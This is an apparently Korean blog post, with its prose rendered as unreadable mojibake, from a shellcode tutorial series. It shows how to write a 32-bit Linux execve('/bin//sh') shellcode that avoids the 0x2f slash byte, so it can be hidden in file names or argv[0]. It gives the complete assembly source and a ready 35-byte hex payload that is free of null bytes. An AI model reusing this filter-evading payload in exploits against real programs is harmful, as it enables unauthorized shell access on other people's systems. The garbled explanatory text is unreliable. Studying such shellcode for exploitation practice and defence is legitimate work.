๊ฐํน๊ฐ๋ค ๋๋ ํฐ๋ฆฌ๋ช /ํ์ผ๋ช ์ ์์ฝ๋๋ฅผ ๋ฃ์ด๋๊ณ argv[0]๋ ์คํ์ ๋๋ถ๋ถ์ ํ์ฉํด์ผํ๋ ์ํฉ์ด ์์ต๋๋ค.
์ฐ๋ฆฌ๊ฐ ๋ง๋ค์ด๋ ผ 25byte ์์ฝ๋๋ก๋ ์คํ์ด ๋์ง ์์ต๋๋ค.
์ ๊ทธ๋ด๊น์?
0x2f๋๋ฌธ์ธ๋ฐ์, 0x2f์ /(์ฌ๋์ฌ)๋ก ๋๋ ํฐ๋ฆฌ๋ฅผ ๊ตฌ๋ถํ๋๋ฐ ์ฐ์ด๋ ๋ฌธ์์ฃ
๋ฌผ๋ก ๊ธฐ์กด ์์ฝ๋์ ๋ง์ถ์ด์ ๋ถ๋ฆฌ์ํค๋ ๋ฐฉ๋ฒ๋ ์๊ฒ ๋ค์,,, ์๊ฐ๋งํด๋ ๊ท์ฐฎ,,,
... | 0x2f | ... | 0x2f | ... |
์ด๋ฒ ํฌ์คํ ์์๋ 0x2f ์์ด ์๋๋๋ ์์ฝ๋๋ฅผ ๋ง๋ค์ด๋ณผ๊น ํฉ๋๋ค.
๋ฌธ์์ด "/bin//sh"๋ฅผ ๋๊ฒจ์ฃผ๋ ์ฝ๋์์ 0x2f๊ฐ ํฌํจ๋๋ค์.
๊ทธ๋ผ 0x2f๋ถ๋ถ์ 0x2e+1๋ก ๋ฐ๊พธ๋ ์์ผ๋ก ์ฝ๋ฉ์ ํด ๋ด ์๋ค.
eax ๋ ์ง์คํฐ๋ฅผ ํตํด ์ฐ์ฐ ์ํ ํ ์คํ์ push ํด์ค๋๋ค.
์ฝ๋๋ ์ ์คํ ๋ฉ๋๋ค.
์ ๋ง 0x2f๊ฐ ์์ด์ก๋ ํ์ธํด๋ด ์๋ค.
๊ธฐ์กด์ 2f๊ฐ ์ ๋ถ ์์ด์ก์์ ๋ณผ ์ ์์ต๋๋ค.
shellcode๋ก ๋ฝ์๋ด๊ธฐ ์ํด null byte๋ฅผ ์ ๊ฑฐํ์ฌ ์ต์ข ์ฝ๋๋ฅผ ์์ฑํด ๋ณผ๊น์
<2fbinsh.asm>
BITS 32
global _start
section .text
_start:
xor eax, eax
push eax
mov eax, 0x68732e2e
add ax, 0x101
push eax
mov eax, 0x6e69622e
add al, 1
push eax
mov ebx, esp
xor eax, eax
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
0x101์ ๋ํ๋ ๋ถ๋ถ์์๋ ax๋ฅผ, 0x1์ al์ ์ฌ์ฉํ์ฌ ๋๋ฐ์ดํธ๋ฅผ ์ ์ดํ์ต๋๋ค.
shellcode ๋ก ๋ฝ์๋ธ ๋ค, ์ฌ์ฉํด ๋ด ์๋ค.
์ ์ ์ฉ ๋๋ค์
์ด๋ ๊ฒ 0x2f์๋ ์์ฝ๋๋ฅผ ๋ง๋ค์ด ๋ณด์์ต๋๋ค.
shellcode len : 35
\x31\xc0\x50\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x04\x01\x50\x89\xe3\x31\xc0\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
'system hacking ๐ฑ > shellocde' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
shellcode (4) (0) | 2020.12.19 |
---|---|
shellcode (3) (0) | 2020.12.18 |
shellcode (2) (0) | 2020.12.18 |
shellcode (1) (0) | 2020.12.17 |